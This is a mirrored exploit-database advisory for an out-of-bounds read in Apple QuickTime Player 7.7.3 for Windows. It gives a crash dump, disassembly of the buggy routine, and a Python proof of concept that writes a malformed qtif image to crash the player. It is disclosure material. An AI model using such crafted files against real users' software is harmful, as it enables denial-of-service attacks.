Apple Quick Time Player (Windows) 7.7.3 – Out of Bound Read

• Exploit Database
• 104 阅读

• 作者： Debasish Mandal
  日期： 2013-01-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24437/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95

  # Title: Apple Quick Time Player (Windows)Version 7.7.3 Out of Bound Read # Date: 28th January,2013 # Author: Debasish Mandal (https://twitter.com/debasishm89) # Blog : http://www.debasish.in/ # Vendor Homepage: http://www.apple.com/ # Software Link: http://www.apple.com/quicktime/download/ # Version: Apple Quick Time version 7.7.3 # Tested on: Windows XP SP2 / Windows 7 ''' [+] Summary:   A memory out of bound read issue exists in Apple Quick Time Player v7.7.3 which can be triggered while trying to open a specially crafted "qtif" image file using Quick Time Player/Quick time Picture Viewer or Quick Time Browser Plug-in. If successful, a malicious third party could trigger an invalid memory access, leading to a crash of the process.   [+] Affected Module : QuickTime.qts   [+] Crash Point:   Faulting Instruction: QuickTime!LIST_ComponentDispatch+0x15ffd3: 66a1a4e3 8b0c06mov ecx,dword ptr [esi+eax] ds:0023:42531f20=????????   0:000> r eax=41414198 ebx=58580000 ecx=414141a0 edx=58585858 esi=0111dd88 edi=41414198 eip=66a1a4e3 esp=0012f324 ebp=42424242 iopl=0 nv up ei ng nz ac po cy cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00210293 QuickTime!LIST_ComponentDispatch+0x15ffd3: 66a1a4e3 8b0c06mov ecx,dword ptr [esi+eax] ds:0023:42531f20=????????   [+] Buggy Code:(Code from C:\Program Files\QuickTime\QTSystem\QuickTime.qts)   66A1A4E1 77 70JA SHORT QuickTim.66A1A553 66A1A4E3 8B0C06 MOV ECX,DWORD PTR DS:[ESI+EAX] 66A1A4E6 0FB65406 03MOVZX EDX,BYTE PTR DS:[ESI+EAX+3] 66A1A4EB 894C24 14MOV DWORD PTR SS:[ESP+14],ECX 66A1A4EF 8A7424 16MOV DH,BYTE PTR SS:[ESP+16] 66A1A4F3 8BF9 MOV EDI,ECX 66A1A4F5 C1E7 10SHL EDI,10 66A1A4F8 81E1 00FF0000AND ECX,0FF00 66A1A4FE 0BF9 OR EDI,ECX 66A1A500 C1E7 08SHL EDI,8 66A1A503 0BD7 OR EDX,EDI 66A1A505 8BCA MOV ECX,EDX 66A1A507 7E 4AJLE SHORT QuickTim.66A1A553 66A1A509 8D3C01 LEA EDI,DWORD PTR DS:[ECX+EAX] 66A1A50C 3BEF CMP EBP,EDI 66A1A50E 72 43JB SHORT QuickTim.66A1A553 66A1A510 3BF8 CMP EDI,EAX 66A1A512 72 3FJB SHORT QuickTim.66A1A553 66A1A514 8B4C06 04MOV ECX,DWORD PTR DS:[ESI+EAX+4] 66A1A518 0FB65406 07MOVZX EDX,BYTE PTR DS:[ESI+EAX+7] 66A1A51D 894C24 14MOV DWORD PTR SS:[ESP+14],ECX 66A1A521 8A7424 16MOV DH,BYTE PTR SS:[ESP+16] 66A1A525 8BD9 MOV EBX,ECX 66A1A527 C1E3 10SHL EBX,10 66A1A52A 81E1 00FF0000AND ECX,0FF00 66A1A530 0BD9 OR EBX,ECX 66A1A532 8B4C24 18MOV ECX,DWORD PTR SS:[ESP+18] 66A1A536 C1E3 08SHL EBX,8 66A1A539 0BD3 OR EDX,EBX 66A1A53B 3BD1 CMP EDX,ECX 66A1A53D 74 04JE SHORT QuickTim.66A1A543 66A1A53F 85C9 TEST ECX,ECX 66A1A541 75 07JNZ SHORT QuickTim.66A1A54A 66A1A543 836C24 1C 01 SUB DWORD PTR SS:[ESP+1C],1 66A1A548 74 0BJE SHORT QuickTim.66A1A555 66A1A54A 8BC7 MOV EAX,EDI 66A1A54C 8D48 08LEA ECX,DWORD PTR DS:[EAX+8] 66A1A54F 3BCD CMP ECX,EBP 66A1A551^76 90JBE SHORT QuickTim.66A1A4E3 66A1A553 33C0 XOR EAX,EAX   [+] Proof of Concept :   ''' # /usr/bin/python buff = "" buff += "\x00\x00\x48\x79\x69\x64\x61\x74" buff += "\x5A"*18545 #Junks buff += "\x00\x00\x00\x6E\x69\x64\x73\x63" #nidsc header buff += "\x42\x42\x42\x42" buff += "\x5A"*82 #Junk buff += "\x41"*3 buff += "\x42" buff += "\x58\x58\x58\x58" f = open('buggy.qtif','w') f.write(buff) f.close()